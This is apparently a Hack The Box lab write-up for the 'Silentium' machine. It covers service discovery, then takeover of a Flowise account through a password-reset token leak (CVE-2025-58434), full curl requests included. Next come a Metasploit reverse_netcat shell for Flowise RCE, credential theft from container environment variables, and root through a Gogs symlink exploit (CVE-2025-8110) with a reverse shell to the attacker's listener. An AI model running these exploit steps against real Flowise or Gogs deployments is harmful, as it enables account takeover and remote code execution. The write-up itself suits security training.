Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ nmap -sC -sV -Pn 10.129.245.103 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 16:02 +0000
Nmap scan report for 10.129.245.103
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 232.06 seconds
Let's add silentium.htbto our /etc/hosts
silentium.htb
From the index page, I did not find anything interesting here.
I would continue to fuzz the web contents of this website
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ ffuf -u http://silentium.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -fs 8753
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://silentium.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 8753
________________________________________________
assets [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 451ms]
:: Progress: [4614/4614] :: Job [1/1] :: 102 req/sec :: Duration: [0:00:48] :: Errors: 0 ::
Still not found anything interesting, continue to fuzz the sub domains
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ ffuf -u http://silentium.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.silentium.htb" -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://silentium.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.silentium.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
staging [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 429ms]
We can find a new sub domain staging.silentium.htb
staging.silentium.htb
Now we can get a new page to let us login to Flowiseservice
By simply checking the CVE of this service, we can find 2 critical vulnerable targets
CVE-2025-59528
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p
RCE in FlowiseAI/Flowise
CVE-2025-58434
https://github.com/advisories/GHSA-wgpv-6j63-x5ph
Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover
For the CVE-2025-59528, we need to control one existed account and then use that account to remote code execution.
CVE-2025-58434can help us control the existed account, but we need to enumerate the valid account username.
Come back to silentium.htb, we can find some target account

Now the target could be
marcus@silentium.htb
thorne@silentium.htb
thornemarcus@silentium.htb
ben@silentium.htb
elena@silentium.htb
rossi@silentium.htb
elenarossi@silentium.htb
Also we can use forget password page to verify the existed account
If the account is not existed, it would give back user not found

If existed, it would send the email successfully

Now we have known ben@silentium.htbis existed, now let's try to control this account with the poc
PoC
1, Request a reset token for the victim
curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
2, Use the exposed tempToken to reset the password
curl -i -X POST https://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"ben@silentium.htb",
"tempToken":"<redacted-tempToken>",
"password":"NewSecurePassword123!"
}
}'
Let's verify it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 13 Apr 2026 06:37:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 579
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"243-S82ntWxzXphceoPEBN6YshjPoaI"
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG","tempToken":"qRnv1OhQ8o6FTVJb8vhdSfJmTKS6vPoNiPD3H5Zq60gpzDfF2LaST4fMjdXJJlEv","tokenExpiry":"2026-04-13T06:52:32.890Z","status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-04-13T06:37:32.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"ben@silentium.htb",
"tempToken":"qRnv1OhQ8o6FTVJb8vhdSfJmTKS6vPoNiPD3H5Zq60gpzDfF2LaST4fMjdXJJlEv",
"password":"NewSecurePassword123!"
}
}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 13 Apr 2026 06:38:36 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-ZQwjg0evhQSMVJbJxDiKX7mUue8"
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$cqDyi1ro1m6ekc3MHEjOJuIG.kGP8NT6/woe5L2YOidcb9usUvMum","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-04-13T06:38:36.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}
Now we can access to dashboard

It worked and also we can check the version

This version is also worked for CVE-2025-59528, also we can find the exploit script from msfconsole
use exploit/multi/http/flowise_js_rce
set FLOWISE_EMAIL ben@silentium.htb
set FLOWISE_PASSWORD 'NewSecurePassword123!'
set RHOSTS staging.silentium.htb
set RPORT 80
set PAYLOAD cmd/unix/reverse_netcat
set ENCODER generic/none
set LHOST tun0
set LPORT 4444
run -j
Then we can get the shell as root of container
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
pwd
/
ifconfig
eth0 Link encap:Ethernet HWaddr 16:B7:71:0D:5F:DB
inet addr:172.18.0.2 Bcast:172.18.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:29838 errors:0 dropped:0 overruns:0 frame:0
TX packets:21860 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2841263 (2.7 MiB) TX bytes:20652668 (19.6 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:7048 errors:0 dropped:0 overruns:0 frame:0
TX packets:7048 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:764547 (746.6 KiB) TX bytes:764547 (746.6 KiB)
Escape from docker container
Firstly, let's check env
env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
Now we can get the credit
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
I would try to use these passwords to ssh connect to the ben@silentium.htb
r04D!!_R4geworked here, now we shell as ben
ben@silentium:~$ whoami
ben
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
Privilege Escalation
Firstly, I would check sudo -lfirstly
ben@silentium:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on silentium.
Continue to use check the network state
ben@silentium:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:38005 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
Port 3000 hosts the Flowise instance, while port 3001 exposes the Gogs service
ben@silentium:~$ curl http://127.0.0.1:3001 | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />
<meta name="keywords" content="go, git, self-hosted, gogs">
1
00 8049 0 8049 0 0 1623k 0 --:--:-- --:--:-- --:--:-- 1965k
curl: Failed writing body
ben@silentium:~$ ps -ef | grep gogs
root 1519 1 0 04:49 ? 00:00:01 /opt/gogs/gogs/gogs web
ben 16745 16101 0 06:56 pts/0 00:00:00 grep --color=auto gogs
ben@silentium:~$ ls -al /opt
total 16
drwxr-xr-x 4 root root 4096 Apr 8 18:30 .
drwxr-xr-x 22 root root 4096 Apr 8 09:41 ..
drwx--x--x 4 root root 4096 Apr 8 09:41 containerd
drwxr-xr-x 6 root root 4096 Apr 8 09:41 gogs
Now we can use ssh to port forwarding to our local machine

Also we can find benis the valid account
I have tried all the passwords we have got, but they all not worked here

By simply checking the vulnerable CVE, we can find
A symlink bypass (CVE-2025-8110) of a previously patched RCE (CVE-2024-55947) allows authenticated users to overwrite files outside the repository, leading to Remote Code Execution (RCE).
Also we can find a valid exploit script
https://github.com/zAbuQasem/gogs-CVE-2025-8110/tree/main
The attack chain is clear
create repo
->
commit symlink
->
use PutContents on symlink
->
overwrite .git/config
->
trigger sshCommand
Before we run the exploit script, we need to create a new account by ourselves, and change the script about register part.
username = "zAbuQasem"
password = "SuperSecurePass123!"
register(session, args.url, username, password)
login(session, args.url, username, password)
token = get_application_token(session, args.url)
== >
"""
self created account
"""
username = "test"
password = "test"
login(session, args.url, username, password)
token = get_application_token(session, args.url)
...
After running the exploit script, now we can get the shell as root
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ python3 CVE-2025-8110.py -u http://127.0.0.1:3001 -lh 10.10.14.14 -lp 443
[+] Authenticated successfully
Token generation status: 200
[+] Application token: 7cd214274389bb1d6f124bded7f5db8275ab3193
Repo creation status: 201
Cloning into '/tmp/252237891f5d'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 245 bytes | 245.00 KiB/s, done.
[master 7ef78d8] Add malicious symlink
1 file changed, 1 insertion(+)
create mode 120000 malicious_link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 297 bytes | 297.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://127.0.0.1:3001/test/252237891f5d.git
16d1e7e..7ef78d8 master -> master
[+] Exploit sent, check your listener!
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.245.103] 45264
bash: cannot set terminal process group (1519): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/2# whoami
whoami
root
Description
Overall, it's a very simple Linux machine; all the vulnerable versions are easy to find.